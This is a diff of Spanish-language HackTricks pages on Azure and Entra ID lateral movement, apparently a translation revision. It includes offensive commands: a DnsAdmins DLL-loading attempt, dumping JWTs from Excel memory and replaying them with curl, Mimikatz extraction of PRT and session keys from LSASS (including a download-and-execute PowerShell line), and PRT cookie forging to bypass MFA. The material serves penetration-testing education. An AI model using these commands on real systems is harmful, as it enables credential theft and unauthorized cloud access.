+- **`Group Policy Creators Owners`**: Este grupo permite a los miembros crear Políticas de Grupo en el dominio. Sin embargo, sus miembros no pueden aplicar políticas de grupo a usuarios o grupos ni editar GPOs existentes, por lo que no es tan interesante en este entorno.
+- **`DnsAdmins`**: Este grupo permite gestionar la configuración de DNS y fue abusado en el pasado para [escalar privilegios y comprometer el dominio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), sin embargo, después de probar el ataque en este entorno se verificó que la vulnerabilidad está parcheada:
+```text
+dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
+
+DNS Server failed to reset registry property.
+Status = 5 (0x00000005)
+Command failed:  ERROR_ACCESS_DENIED     5    0x5
+```
+Tenga en cuenta que para otorgar estos permisos, dentro de AD el grupo **`AAD DC Administrators`** se convierte en miembro de los grupos anteriores, y también la GPO **`AADDC Computers GPO`** agrega como Administradores Locales a todos los miembros del grupo de dominio **`AAD DC Administrators`**.
+
+El pivoteo de Entra ID a un AD creado con Domain Services es sencillo, solo agregue un usuario al grupo **`AAD DC Administrators`**, acceda a través de RDP a cualquiera/todas las máquinas en el dominio y podrá robar datos y también **comprometer el dominio.**
+
+Sin embargo, el pivoteo del dominio a Entra ID no es tan fácil, ya que nada del dominio se está sincronizando en Entra ID. Sin embargo, siempre verifique los metadatos de todas las VMs unidas, ya que sus identidades administradas asignadas podrían tener permisos interesantes. También **extraiga todas las contraseñas de los usuarios del dominio** e intente crackearlas para luego iniciar sesión en Entra ID / Azure.
+
+> [!NOTE]
+> Tenga en cuenta que en el pasado se encontraron otras vulnerabilidades en este AD administrado que permitieron comprometer los DC, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un atacante que comprometa el DC podría mantener fácilmente la persistencia sin que los administradores de Azure se den cuenta o incluso puedan eliminarla.
+
+### Enumeración
+```bash
+# Get configured domain services domains (you can add more subs to check in more subscriptions)
+az rest --method post \
+--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
+--body '{
+"subscriptions": [
+"0ce1297c-9153-425d-3229-f51093614377"
+],
+"query": "resources | where type == \"microsoft.aad/domainservices\"",
+"options": {
+"$top": 16,
+"$skip": 0,
+"$skipToken": ""
+}
+}'
+
+# Get domain configuration
+az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
+## e.g.
+az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
+
+# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
+
+subscription_id="0ce1297c-9153-425d-3229-f51093614377"
+vnet_name="aadds-vnet"
+
+# Retrieve all VMs in the subscription
+vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
+
+# Iterate through each VM to check their VNet connection
+echo "VMs connected to VNet '$vnet_name':"
+while IFS=$'\t' read -r vm_name resource_group; do
+nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
+
+for nic_id in $nic_ids; do
+subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
+
+if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
+echo "VM Name: $vm_name, Resource Group: $resource_group"
+fi
+done
+done <<< "$vm_list"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md

@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
+[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
 
 >**Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos.
 >Puede **federar su entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
@@ -23,10 +23,10 @@ En cualquier configuración de federación hay tres partes:
 
 <figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
 
-1. Inicialmente, un usuario accede a una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere). Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.
-2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego, elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.
-3. El IdP toma el control, autenticando al usuario. Después de la autenticación, el IdP formula un SAMLResponse y lo envía al SP a través del usuario.
-4. Finalmente, el SP evalúa el SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.
+1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.
+2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.
+3. El IdP toma el control, autenticando al usuario. Después de la autenticación, una SAMLResponse es formulada por el IdP y enviada al SP a través del usuario.
+4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.
 
 **Si desea aprender más sobre la autenticación SAML y ataques comunes, vaya a:**
 
@@ -36,24 +36,24 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
 
 ## Pivoting
 
-- AD FS es un modelo de identidad basado en claims.
-- "..las claims son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en claims ubicadas en cualquier parte de Internet."
-- Las claims para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
-- Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD.
+- AD FS es un modelo de identidad basado en reclamaciones.
+- "..las reclamaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamaciones ubicadas en cualquier parte de Internet."
+- Las reclamaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
+- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD.
 - El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.
 - Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
 
 **Ataque Golden SAML:**
 
-- En ADFS, el SAML Response es firmado por un certificado de firma de token.
-- Si el certificado se ve comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
+- En ADFS, la SAML Response es firmada por un certificado de firma de token.
+- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
 - Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación.
 - El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet.
 - Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
 ### Golden SAML
 
-El proceso donde un **Proveedor de Identidad (IdP)** produce un **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** puede estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad del SAMLResponse, asegurando que fue emitido por un IdP de confianza.
+El proceso donde un **Proveedor de Identidad (IdP)** produce una **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** puede estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza.
 
 Se puede trazar un paralelo con el [ataque de golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.
 
@@ -66,9 +66,9 @@ Los Golden SAML ofrecen ciertas ventajas:
 
 #### AWS + AD FS + Golden SAML
 
-[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación.
+[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación.
 
-Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.
+Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.
 
 Los requisitos para ejecutar un ataque golden SAML incluyen:
 
@@ -80,7 +80,7 @@ Los requisitos para ejecutar un ataque golden SAML incluyen:
 - Nombre de sesión de rol en AWS
 - ID de cuenta de Amazon
 
-_Solo los elementos en negrita son obligatorios. Los demás pueden completarse según se desee._
+_Solo los elementos en negrita son obligatorios. Los demás pueden ser completados según se desee._
 
 Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puede utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándose de haber iniciado sesión como el usuario de ADFS:
 ```bash

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md

@@ -5,13 +5,13 @@
 
 ## Forzar la Sincronización de usuarios de Entra ID a on-prem
 
-Como se mencionó en [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era posible cambiar el valor de **`ProxyAddress`** dentro de un usuario de AD en el AD on-prem añadiendo el correo electrónico de un usuario administrador de Entra ID y también asegurándose de que el UPN del usuario en AD y en Entra ID coincidieran (este es el Entra ID nuevamente), como **`SMTP:admin@domain.onmicrosoft.com`**. Y esto **forzaría la sincronización de este usuario** desde Entra ID al AD on-prem, por lo que si se conocía la contraseña del usuario, podría usarse para **acceder al administrador utilizado en Entra ID.**
+Como se mencionó en [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era posible cambiar el valor de **`ProxyAddress`** dentro de un usuario de AD en el AD on-prem añadiendo el correo electrónico de un usuario administrador de Entra ID y también asegurándose de que el UPN del usuario en AD y en Entra ID coincidieran (este es el Entra ID nuevamente), como **`SMTP:admin@domain.onmicrosoft.com`**. Y esto **forzaría la sincronización de este usuario** desde Entra ID al AD on-prem, así que si se conocía la contraseña del usuario, podría usarse para **acceder al administrador utilizado en Entra ID.**
 
 Para sincronizar un nuevo usuario desde Entra ID al AD on-prem, estos son los requisitos, los únicos requisitos son:
 
 - Controlar los atributos de un usuario en el AD on-prem (o tener permisos para crear nuevos usuarios)
 - Conocer el usuario solo en la nube para sincronizar desde Entra ID al AD on-prem
-- También puede que necesite poder cambiar el atributo immutableID del usuario de Entra ID al usuario de AD on-prem para hacer un **coincidencia estricta**.
+- También podrías necesitar poder cambiar el atributo immutableID del usuario de Entra ID al usuario de AD on-prem para hacer un **hard match**.
 
 
 > [!CAUTION]

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md

@@ -19,21 +19,41 @@ Los tokens y datos sensibles se almacenan localmente por Azure CLI, lo que plant
 Azure PowerShell también almacena tokens y datos sensibles, que pueden ser accedidos localmente:
 
 1. **Tokens de Acceso**: `TokenCache.dat`, ubicado en `C:\Users\<username>\.Azure`, almacena tokens de acceso en texto plano.
-2. **Secretos de Principal de Servicio**: Estos se almacenan sin cifrar en `AzureRmContext.json`.
+2. **Secretos de Principales de Servicio**: Estos se almacenan sin cifrar en `AzureRmContext.json`.
 3. **Función de Guardado de Tokens**: Los usuarios tienen la capacidad de persistir tokens usando el comando `Save-AzContext`, que debe usarse con precaución para prevenir accesos no autorizados.
 
-## Herramientas Automáticas para encontrarlos
+### Herramientas Automáticas para encontrarlos
 
 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
 
-## Recomendaciones de Seguridad
+## Tokens en memoria
 
-Considerando el almacenamiento de datos sensibles en texto plano, es crucial asegurar estos archivos y directorios mediante:
+Como se explica en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) podrían **almacenar tokens de acceso en texto claro en memoria**. Así que simplemente **volcando** la **memoria** del proceso y **filtrando por tokens JWT** podría otorgarte acceso a varios recursos de la víctima en la nube eludiendo MFA.
 
-- Limitación de derechos de acceso a estos archivos.
-- Monitoreo y auditoría regular de estos directorios para detectar accesos no autorizados o cambios inesperados.
-- Empleo de cifrado para archivos sensibles donde sea posible.
-- Educación a los usuarios sobre los riesgos y las mejores prácticas para manejar dicha información sensible.
+Pasos:
+
+1. Volcar los procesos de excel sincronizados con el usuario de EntraID con tu herramienta favorita.
+2. Ejecutar: `string excel.dmp | grep 'eyJ0'` y encontrar varios tokens en la salida.
+3. Encontrar los tokens que más te interesen y ejecutar herramientas sobre ellos:
+```bash
+# Check the identity of the token
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
+
+# Check the email (you need a token authorized in login.microsoftonline.com)
+curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
+
+# Download a file from Teams
+## You need a token that can access graph.microsoft.com
+## Then, find the <site_id> inside the memory and call
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
+
+## Then, list one drive
+curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
+
+## Finally, download a file from that drive:
+curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+```
+**Tenga en cuenta que este tipo de tokens de acceso también se pueden encontrar dentro de otros procesos.**
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md

@@ -12,7 +12,7 @@ En términos super simplificados:
 - El cliente crea un encabezado de JSON Web Token (JWT) que contiene PRT y otros detalles, lo firma utilizando la clave derivada (usando la clave de sesión y el contexto de seguridad) y **lo envía a Entra ID**.
 - Entra ID verifica la firma del JWT utilizando la clave de sesión del cliente y el contexto de seguridad, verifica la validez del PRT y **responde** con el **certificado**.
 
-En este escenario y después de obtener toda la información necesaria para un ataque de [**Pass the PRT**](pass-the-prt.md):
+En este escenario y después de obtener toda la información necesaria para un ataque de [**Pass the PRT**](az-primary-refresh-token-prt.md):
 
 - Nombre de usuario
 - ID de inquilino

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md

@@ -4,7 +4,7 @@
 
 ## ¿Por qué Cookies?
 
-Las **cookies** del navegador son un gran mecanismo para **eludir la autenticación y MFA**. Dado que el usuario ya se ha autenticado en la aplicación, la **cookie** de sesión puede ser utilizada para **acceder a datos** como ese usuario, sin necesidad de volver a autenticarse.
+Las **cookies** del navegador son un gran mecanismo para **eludir la autenticación y MFA**. Dado que el usuario ya se ha autenticado en la aplicación, la **cookie** de sesión se puede usar para **acceder a datos** como ese usuario, sin necesidad de volver a autenticarse.
 
 Puedes ver dónde están **ubicadas las cookies del navegador** en:
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md

@@ -61,23 +61,34 @@ dsregcmd /status
 # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
 # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
 ```
-## Dump y usar PRTs no protegidos
+## Pasar el PRT
 
-Según [esta publicación](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) en dispositivos Windows **sin enlace TPM**, el PRT y su clave de sesión residen en LSASS (complemento CloudAP). Con privilegios de administrador local/SYSTEM en ese dispositivo, el blob del PRT y la clave de sesión cifrada con DPAPI pueden ser **leídos desde LSASS, la clave de sesión descifrada a través de DPAPI, y la clave de firma derivada** para crear una cookie PRT válida (`x‑ms‑RefreshTokenCredential`). Necesitas tanto el PRT como su clave de sesión; la cadena del PRT por sí sola no es suficiente.
+Según [esta publicación](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) en dispositivos Windows **sin vinculación TPM**, el PRT y su clave de sesión residen en LSASS (complemento CloudAP). Con privilegios de administrador local/SYSTEM en ese dispositivo, el blob del PRT y la clave de sesión cifrada con DPAPI pueden ser **leídos desde LSASS, la clave de sesión descifrada a través de DPAPI, y la clave de firma derivada** para crear una cookie PRT válida (`x‑ms‑RefreshTokenCredential`). Necesitas tanto el PRT como su clave de sesión; la cadena PRT por sí sola no es suficiente.
 
 ### Mimikatz
+
+1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior.
+2. La **clave de sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
+3. Después del descifrado de la clave de sesión, se **obtienen la clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
 ```bash
 privilege::debug
 sekurlsa::cloudap
+
+# Or in powershell
+iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
+Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 ```
 El **campo PRT** contiene el token de actualización encriptado (típicamente una cadena base64), y KeyValue en el ProofOfPossessionKey es la clave de sesión encriptada con DPAPI (también base64).
 
 Luego, desde la salida de **`sekurlsa::cloudap`**, copia el blob base64 de **`KeyValue`** dentro del campo `ProofOfPossessionKey` (esta es la clave de sesión encriptada con DPAPI). Esta clave encriptada no se puede usar tal cual; debe ser desencriptada utilizando las credenciales DPAPI del sistema.
 
-Debido a que la encriptación DPAPI para secretos del sistema requiere el contexto del sistema de la máquina, eleva tu token a SYSTEM y usa el módulo DPAPI de Mimikatz para desencriptar:
+Debido a que la encriptación DPAPI para secretos del sistema requiere el contexto del sistema de la máquina, eleva tu token a SYSTEM y utiliza el módulo DPAPI de Mimikatz para desencriptar:
 ```bash
 token::elevate
 dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+
+# PowerShell version
+Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
 ```
 El `token::elevate` impersonará a SYSTEM y el comando `dpapi::cloudapkd` con `/unprotect` utilizará la clave maestra de DPAPI para desencriptar el blob KeyValue proporcionado. Esto produce la clave de sesión en texto claro y también la Clave Derivada y el Contexto asociados utilizados para la firma:
 - **Clave clara** – la clave de sesión de 32 bytes en texto plano (representada como una cadena hexadecimal).
@@ -94,12 +105,11 @@ Luego, también puedes usar mimikatz para generar una cookie PRT válida:
 # PRT is obtained from sekurlsa::cloudap (filed "Prt"
 dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
 ```
-Mimikatz generará un JWT firmado (la `cookie PRT`) después de la línea “Signature with key”, que contiene el PRT y está firmado utilizando la clave derivada. Este JWT se puede copiar y luego usar en una sesión web. Por ejemplo, un atacante puede abrir un navegador, ir a `login.microsoftonline.com`, y establecer una cookie llamada `x-ms-RefreshTokenCredential` con el valor de este JWT. Cuando el navegador se actualiza o navega, Azure AD tratará la sesión como autenticada (la cookie PRT se presenta como si se hubiera producido SSO), y emitirá un código de autorización o token de acceso para el recurso especificado. En la práctica, uno navegaría a un recurso como Office 365 o el portal de Azure; la presencia de una cookie PRT válida significa que Azure AD otorgará acceso sin un inicio de sesión adicional (eludiendo MFA, ya que el PRT ya está autenticado).
+Mimikatz generará un JWT firmado (la `cookie PRT`) después de la línea “Signature with key”, que contiene el PRT y está firmado utilizando la clave derivada. Este JWT puede ser copiado y luego utilizado en una sesión web. Por ejemplo, un atacante puede abrir un navegador, ir a `login.microsoftonline.com`, y establecer una cookie llamada `x-ms-RefreshTokenCredential` con el valor de este JWT. Cuando el navegador se actualiza o navega, Azure AD tratará la sesión como autenticada (la cookie PRT se presenta como si se hubiera producido SSO), y emitirá un código de autorización o token de acceso para el recurso especificado. En la práctica, uno navegaría a un recurso como Office 365 o el portal de Azure; la presencia de una cookie PRT válida significa que Azure AD otorgará acceso sin un inicio de sesión adicional (eludiendo MFA, ya que el PRT ya está autenticado).
 
-También podrías usar **`roadtx`** y **`roadrecon`** con el PRT de la cookie PRT para suplantar al usuario *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*.
+También podrías usar **`roadtx`** y **`roadrecon`** con el PRT de la cookie PRT para suplantar al usuario *(TODO: Encontrar las líneas de comando exactas para usar roadtx/roadrecon para obtener credenciales de un PRT)*.
 
-
-### AADInternals
+### Mimikatz + AADInternals
 
 El módulo de PowerShell **`AADInternals`** también se puede usar con el PRT y la clave de sesión obtenidos previamente para generar un token PRT válido. Esto es útil para automatizar el proceso de obtención de un nuevo token PRT con nonce, que se puede usar para obtener tokens de acceso para Azure AD Graph API u otros recursos:
 ```bash
@@ -125,27 +135,46 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
 # Get an access token for MS Graph API
 Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
 ```
-Esto obtiene una nueva cookie PRT (con un nonce) y luego la utiliza para obtener un token de acceso para la Azure AD Graph API (demostrando acceso en la nube en nombre del usuario). AADInternals abstrae gran parte de la criptografía y utiliza componentes de Windows o su propia lógica en segundo plano.
+Esto obtiene una nueva cookie PRT (con un nonce) y luego la utiliza para obtener un token de acceso para la Azure AD Graph API (demostrando acceso a la nube en nombre del usuario). AADInternals abstrae gran parte de la criptografía y utiliza componentes de Windows o su propia lógica en segundo plano.
 
+### Mimikatz + roadtx
+
+- Renueva primero el PRT, que se guardará en `roadtx.prt`:
+```bash
+roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
+```
+- Ahora podemos **solicitar tokens** utilizando el navegador interactivo con `roadtx browserprtauth`. Si usamos el comando `roadtx describe`, vemos que el token de acceso incluye un reclamo de MFA porque el PRT que utilicé en este caso también tenía un reclamo de MFA.
+```bash
+roadtx browserprtauth
+roadtx describe < .roadtools_auth
+```
+<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
+
+#### Mimikatz + roadrecon
+
+Teniendo el contexto y la clave derivada volcada por mimikatz, es posible usar roadrecon para generar una nueva cookie firmada con:
+```bash
+roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
+```
 ## Abusando de PRTs protegidos
 
-A pesar de las protecciones mencionadas, un atacante que ya ha comprometido un dispositivo (como un usuario local o incluso SYSTEM) aún puede **abusar del PRT para obtener nuevos tokens de acceso** aprovechando las propias APIs de broker de tokens y componentes de seguridad de Windows. En lugar de **extraer** el PRT o la clave en bruto, el atacante esencialmente **"pide" a Windows que use el PRT en su nombre**. En las secciones a continuación, describimos técnicas actualmente válidas para abusar de los PRTs y sus claves de sesión en dispositivos Windows actualizados donde las protecciones TPM están en efecto. Todas estas técnicas asumen acceso post-explotación en la máquina objetivo y **se centran en abusar de flujos de autenticación integrados** (no se necesitan vulnerabilidades sin parches).
+A pesar de las protecciones mencionadas, un atacante que ya ha comprometido un dispositivo (como usuario local o incluso SYSTEM) aún puede **abusar del PRT para obtener tokens de acceso frescos** aprovechando las propias APIs y componentes de seguridad del broker de tokens de Windows. En lugar de **extraer** el PRT o la clave en bruto, el atacante esencialmente **"pide" a Windows que use el PRT en su nombre**. En las secciones a continuación, describimos técnicas actualmente válidas para abusar de los PRTs y sus claves de sesión en dispositivos Windows actualizados donde las protecciones de TPM están en efecto. Todas estas técnicas asumen acceso post-explotación en la máquina objetivo y **se centran en abusar de flujos de autenticación integrados** (no se necesitan vulnerabilidades sin parches).
 
 ### Arquitectura del Broker de Tokens de Windows y Flujo de SSO
 
 Windows moderno maneja la autenticación en la nube a través de una pila de **broker de tokens** integrada, que incluye componentes tanto en modo usuario como en LSASS (Local Security Authority). Las piezas clave de esta arquitectura incluyen:
 
--   **Plugin CloudAP de LSASS:** Cuando un dispositivo está unido a Azure AD, LSASS carga paquetes de autenticación en la nube (por ejemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gestionan PRTs y solicitudes de tokens. LSASS (que se ejecuta como SYSTEM) orquesta el almacenamiento, renovación y uso del PRT, y se comunica con el TPM para realizar operaciones criptográficas (como firmar un desafío PRT con la clave de sesión).
+-   **Complemento CloudAP de LSASS:** Cuando un dispositivo está unido a Azure AD, LSASS carga paquetes de autenticación en la nube (por ejemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gestionan los PRTs y las solicitudes de tokens. LSASS (que se ejecuta como SYSTEM) orquesta el almacenamiento, renovación y uso del PRT, y se comunica con el TPM para realizar operaciones criptográficas (como firmar un desafío de PRT con la clave de sesión).
 
--   **Web Account Manager (WAM):** El Administrador de Cuentas Web de Windows es un marco en modo usuario (accesible a través de APIs COM/WinRT) que permite a aplicaciones o navegadores solicitar tokens para cuentas en la nube sin solicitar credenciales. WAM actúa como un intermediario entre las aplicaciones de usuario y el PRT respaldado por LSASS/TPM. Por ejemplo, la biblioteca MSAL de Microsoft y ciertos componentes del sistema operativo utilizan WAM para adquirir silenciosamente tokens utilizando el PRT del usuario conectado.
+-   **Administrador de Cuentas Web (WAM):** El Administrador de Cuentas Web de Windows es un marco en modo usuario (accesible a través de APIs COM/WinRT) que permite a aplicaciones o navegadores solicitar tokens para cuentas en la nube sin solicitar credenciales. WAM actúa como un intermediario entre las aplicaciones de usuario y el PRT respaldado por LSASS/TPM. Por ejemplo, la biblioteca MSAL de Microsoft y ciertos componentes del sistema operativo utilizan WAM para adquirir silenciosamente tokens utilizando el PRT del usuario conectado.
 
